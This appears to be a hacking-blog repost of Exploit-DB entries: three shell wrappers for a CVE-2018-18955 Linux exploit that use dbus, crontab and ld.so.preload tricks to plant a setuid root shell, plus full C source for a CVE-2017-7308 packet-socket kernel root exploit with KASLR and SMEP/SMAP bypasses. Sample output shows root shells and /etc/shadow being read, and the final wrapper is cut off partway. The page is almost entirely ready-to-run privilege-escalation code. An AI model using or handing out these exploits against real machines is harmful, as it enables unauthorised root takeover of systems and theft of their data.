Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863592427

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/bin/sh
#
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47165.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses dbus service technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh
# [*] Compiling...
# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Launching dbus service...
# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Jan  4 18:31 /tmp/sh
# [*] Cleaning up...
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)

rootshell="/tmp/sh"
service="org.subuid.Service"

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
fi

if ! command_exists /usr/bin/dbus-send; then
  echo '[-] dbus-send is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newuidmap; then
  echo '[-] newuidmap is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newgidmap; then
  echo '[-] newgidmap is not installed'
  exit 1
fi

if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
fi

echo "[*] Compiling..."

if ! gcc subuid_shell.c -o subuid_shell; then
  echo 'Compiling subuid_shell.c failed'
  exit 1
fi

if ! gcc subshell.c -o subshell; then
  echo 'Compiling gcc_subshell.c failed'
  exit 1
fi

if ! gcc rootshell.c -o "${rootshell}"; then
  echo 'Compiling rootshell.c failed'
  exit 1
fi

echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..."

cat << EOF > "${service}.service"
[D-BUS Service]
Name=${service}
Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
User=root
EOF

echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell

if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..."

cat << EOF > "${service}.conf"
<!DOCTYPE busconfig PUBLIC
  "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
  <policy context="default">
    <allow send_destination="${service}"/>
  </policy>
</busconfig>
EOF

echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell

if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo "[*] Launching dbus service..."

/usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}"

sleep 1

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
/bin/rm "${service}.conf"
/bin/rm "${service}.service"
echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell
echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell

echo "[*] Launching root shell: ${rootshell}"
$rootshell
            
#!/bin/sh
#
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47164.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses crontab technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.cron.sh
# [*] Compiling...
# [*] Writing payload to /tmp/payload...
# [*] Adding cron job... (wait a minute)
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:47 /tmp/sh
# [*] Cleaning up...
# [!] Remember to clean up /etc/crontab
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)

rootshell="/tmp/sh"
bootstrap="/tmp/payload"

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newuidmap; then
  echo '[-] newuidmap is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newgidmap; then
  echo '[-] newgidmap is not installed'
  exit 1
fi

if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
fi

echo "[*] Compiling..."

if ! gcc subuid_shell.c -o subuid_shell; then
  echo 'Compiling subuid_shell.c failed'
  exit 1
fi

if ! gcc subshell.c -o subshell; then
  echo 'Compiling gcc_subshell.c failed'
  exit 1
fi

if ! gcc rootshell.c -o "${rootshell}"; then
  echo 'Compiling rootshell.c failed'
  exit 1
fi

echo "[*] Writing payload to ${bootstrap}..."

echo "#!/bin/sh\n/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" > $bootstrap
/bin/chmod +x "${bootstrap}"

echo "[*] Adding cron job... (wait a minute)"

echo "echo '* * * * * root ${bootstrap}' >> /etc/crontab" | ./subuid_shell ./subshell
sleep 60

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  /bin/rm "${bootstrap}"
  exit 1
fi

echo '[+] Success:'
ls -la "${rootshell}"

echo '[*] Cleaning up...'
/bin/rm "${bootstrap}"
/bin/rm subuid_shell
/bin/rm subshell
if command_exists /bin/sed; then
  echo "/bin/sed -i '\$ d' /etc/crontab" | $rootshell
else
  echo "[!] Manual clean up of /etc/crontab required"
fi

echo "[*] Launching root shell: ${rootshell}"
$rootshell
            
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on Ubuntu / Linux Mint:
// - 4.8.0-34-generic
// - 4.8.0-36-generic
// - 4.8.0-39-generic
// - 4.8.0-41-generic
// - 4.8.0-42-generic
// - 4.8.0-44-generic
// - 4.8.0-45-generic
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] system has 2 processors
// [.] checking kernel version
// [.] kernel version '4.8.0-41-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for systems with SMEP but no SMAP
// - check number of CPU cores
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308

#define _GNU_SOURCE

#include <assert.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define DEBUG

#ifdef DEBUG
#       define dprintf printf
#else
#       define dprintf
#endif

#define ENABLE_KASLR_BYPASS		1
#define ENABLE_SMEP_SMAP_BYPASS		1

char *SHELL = "/bin/bash";

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 		0xffffffff81000000ul;

// Will be overwritten by detect_versions().
int kernel = -1;

struct kernel_info {
	const char* version;
	uint64_t commit_creds;
	uint64_t prepare_kernel_cred;
	uint64_t native_write_cr4;
};

struct kernel_info kernels[] = {
	{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
	{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
	{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
	{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
};

// Used to get root privileges.
#define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
#define NATIVE_WRITE_CR4		(KERNEL_BASE + kernels[kernel].native_write_cr4)

// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
unsigned long CR4_DESIRED_VALUE =	0x406e0ul;

#define KMALLOC_PAD			512
#define PAGEALLOC_PAD			1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET	896

// pakcet_sock->xmit
#define XMIT_OFFSET	1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		dprintf("[-] setsockopt(PACKET_VERSION)\n");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		dprintf("[-] setsockopt(PACKET_RX_RING)\n");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		dprintf("[-] socket(AF_PACKET)\n");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		dprintf("[-] bind(AF_PACKET)\n");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		dprintf("[-] sendto(SOCK_RAW)\n");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		dprintf("[-] socket(SOCK_RAW)\n");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		dprintf("[-] socket(SOCK_DGRAM)\n");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(1);
}

void oob_id_match_execute(void *func) {
	int s = oob_setup(2048 + XMIT_OFFSET - 64);

	int ps[32];

	int i;
	for (i = 0; i < 32; i++)
		ps[i] = packet_sock_kmalloc();

	char buffer[2048];
	memset(&buffer[0], 0, 2048);

	void **xmit = (void **)&buffer[64];
	*xmit = func;

	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

	for (i = 0; i < 32; i++)
		packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
	((_commit_creds)(COMMIT_CREDS))(
		((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
	);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
	int f = open(file, O_RDONLY);
	if (f == -1)
		return -1;
	int bytes_read = 0;
	while (true) {
		int bytes_to_read = CHUNK_SIZE;
		if (bytes_to_read > max_length - bytes_read)
			bytes_to_read = max_length - bytes_read;
		int rv = read(f, &buffer[bytes_read], bytes_to_read);
		if (rv == -1)
			return -1;
		bytes_read += rv;
		if (rv == 0)
			return bytes_read;
	}
}

void get_kernel_version(char* output, int max_length) {
        struct utsname u;
        int rv = uname(&u);
        if (rv != 0) {
                dprintf("[-] uname())\n");
                exit(EXIT_FAILURE);
        }
        assert(strlen(u.release) <= max_length);
        strcpy(&output[0], u.release);
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define KERNEL_VERSION_LENGTH 32

void detect_versions() {
	char version[KERNEL_VERSION_LENGTH];

	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(&version[0], kernels[i].version) == 0) {
			dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}

	dprintf("[-] kernel version not recognized\n");
	exit(EXIT_FAILURE);
}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
	char buffer[PROC_CPUINFO_LENGTH];
	char* path = "/proc/cpuinfo";
	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
	if (length == -1) {
		dprintf("[-] open/read(%s)\n", path);
		exit(EXIT_FAILURE);
	}

	int rv = 0;
	char* found = memmem(&buffer[0], length, "smep", 4);
	if (found != NULL)
		rv += 1;
	found = memmem(&buffer[0], length, "smap", 4);
	if (found != NULL)
		rv += 2;
	return rv;
}

void check_smep_smap() {
	int rv = smap_smep_enabled();

#if !ENABLE_SMEP_SMAP_BYPASS
	if (rv >= 1) {
		dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
		exit(EXIT_FAILURE);
	}
#endif

	switch(rv) {
	case 1: // SMEP
		CR4_DESIRED_VALUE = 0x406e0ul;
		break;
	case 2: // SMAP
		CR4_DESIRED_VALUE = 0x407f0ul;
		break;
	case 3: // SMEP and SMAP
		CR4_DESIRED_VALUE = 0x407f0ul;
		break;
	}
}

// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr_syslog() {
	dprintf("[.] trying syslog...\n");

	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
		exit(EXIT_FAILURE);
	}

	size = (size / getpagesize() + 1) * getpagesize();
	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
	if (size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
		exit(EXIT_FAILURE);
	}

	const char *needle1 = "Freeing SMP";
	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		dprintf("[-] substring '%s' not found in dmesg\n", needle1);
		exit(EXIT_FAILURE);
	}

	for (size = 0; substr[size] != '\n'; size++);

	const char *needle2 = "ffff";
	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
	if (substr == NULL) {
		dprintf("[-] substring '%s' not found in dmesg\n", needle2);
		exit(EXIT_FAILURE);
	}

	char *endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_kallsyms() {
	FILE *f;
	unsigned long addr = 0;
	char dummy;
	char sname[256];
	char* name = "startup_64";
	char* path = "/proc/kallsyms";

	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s)\n", path);
		return 0;
	}

	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_sysmap() {
	FILE *f;
	unsigned long addr = 0;
	char path[512] = "/boot/System.map-";
	char version[32];
	get_kernel_version(&version[0], 32);
	strcat(path, &version[0]);
	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s)\n", path);
		return 0;
	}

	char dummy;
	char sname[256];
	char* name = "startup_64";
	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
	unsigned long addr = 0;

	addr = get_kernel_addr_kallsyms();
        if (addr) return addr;

	addr = get_kernel_addr_sysmap();
	if (addr) return addr;

	addr = get_kernel_addr_syslog();
	if (addr) return addr;

	dprintf("[-] KASLR bypass failed\n");
	exit(EXIT_FAILURE);

	return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void check_procs() {
	int min_procs = 2;

	int nprocs = 0;
	nprocs = get_nprocs_conf();

	if (nprocs < min_procs) {
		dprintf("[-] system has less than %d processor cores\n", min_procs);
		exit(EXIT_FAILURE);
	}

	dprintf("[.] system has %d processors\n", nprocs);
}

void exec_shell() {
	int fd;

	fd = open("/proc/1/ns/net", O_RDONLY);
	if (fd == -1) {
		dprintf("error opening /proc/1/ns/net\n");
		exit(EXIT_FAILURE);
	}

	if (setns(fd, CLONE_NEWNET) == -1) {
		dprintf("error calling setns\n");
		exit(EXIT_FAILURE);
	}

	system(SHELL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		dprintf("[-] fork()\n");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	dprintf("[.] checking if we got root\n");

	if (!is_root()) {
		dprintf("[-] something went wrong =(\n");
		return;
	}

	dprintf("[+] got r00t ^_^\n");

	// Fork and exec instead of just doing the exec to avoid potential
	// memory corruptions when closing packet sockets.
	fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER)\n");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER)\n");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		dprintf("[-] write_file(/proc/self/set_groups)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		dprintf("[-] write_file(/proc/self/uid_map)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		dprintf("[-] write_file(/proc/self/gid_map)\n");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		dprintf("[-] sched_setaffinity()\n");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		dprintf("[-] system(/sbin/ifconfig lo up)\n");
		exit(EXIT_FAILURE);
	}
}

int main(int argc, char *argv[]) {
	if (argc > 1) SHELL = argv[1];

	dprintf("[.] starting\n");

	check_procs();

	dprintf("[.] checking kernel version\n");
	detect_versions();
	dprintf("[~] done, version looks good\n");

	dprintf("[.] checking SMEP and SMAP\n");
	check_smep_smap();
	dprintf("[~] done, looks good\n");

	dprintf("[.] setting up namespace sandbox\n");
	setup_sandbox();
	dprintf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	dprintf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	dprintf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
	dprintf("[.] native_write_cr4:    %lx\n", NATIVE_WRITE_CR4);
#endif

	dprintf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	dprintf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
	dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	dprintf("[.] done, SMEP & SMAP should be off now\n");
#endif

	dprintf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	dprintf("[.] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}
            
#!/bin/sh
#
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47166.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses ld.so.preload technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh
# [*] Compiling...
# [*] Adding libsubuid.so to /etc/ld.so.preload...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)

rootshell="/tmp/sh"
lib="libsubuid.so"

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newuidmap; then
  echo '[-] newuidmap is not installed'
  exit 1
fi

if ! command_exists /usr/bin/newgidmap; then
  echo '[-] newgidmap is not installed'
  exit 1
fi

if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
fi

echo "[*] Compiling..."

if ! gcc subuid_shell.c -o subuid_shell; then
  echo 'Compiling subuid_shell.c failed'
  exit 1
fi

if ! gcc subshell.c -o subshell; then
  echo 'Compiling gcc_subshell.c failed'
  exit 1
fi

if ! gcc rootshell.c -o "${rootshell}"; then
  echo 'Compiling rootshell.c failed'
  exit 1
fi

if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then
  echo 'Compiling libsubuid.c failed'
  exit 1
fi

echo "[*] Adding ${lib} to /etc/ld.so.preload..."

